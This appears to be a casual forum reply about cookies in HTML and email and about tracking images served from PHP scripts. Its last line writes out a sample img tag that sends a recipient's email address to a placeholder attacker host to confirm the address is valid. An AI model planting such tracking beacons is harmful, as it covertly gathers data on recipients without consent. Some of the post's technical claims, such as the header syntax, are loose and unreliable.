uhm I don't know about e-mail, but with HTML you can have cookies without anything special.. just put this in the header of a page:
Set Cookie: poop=smelly
and now whenever they visit your domain you can find out that their computer thinks poop is smelly.
I know e-mail headers work much the same way, the difference being the client.
So yes, plain text can contain 'cookies', however I've never heard about an e-mail client interoperating them them (which is the only way cookies can function). After all, cookies are just plain text.
As far as spyware, if you're not using a fuctarded e-mail client the only malicious thing they can use are images that are generated by files on http servers (which can get your IP and stuff). If you see an image with a weird ending (like .php), it's probably there so they can get info from you and then dump the image so you don't have to actually see any html for them to get data from your client. For instance, if you wanted to keep people from using your images on another page, you could throw all your images through a php file that would grab the clients' referrer before sending the data, and check it against your site.
Or, if you were some assclown that wanted to find out if an e-mail is valid, you could put an < img src="http://evil.domain/image.php?e_mail=your@email.address.net" > in an e-mail message (the image.php being a data-mining script).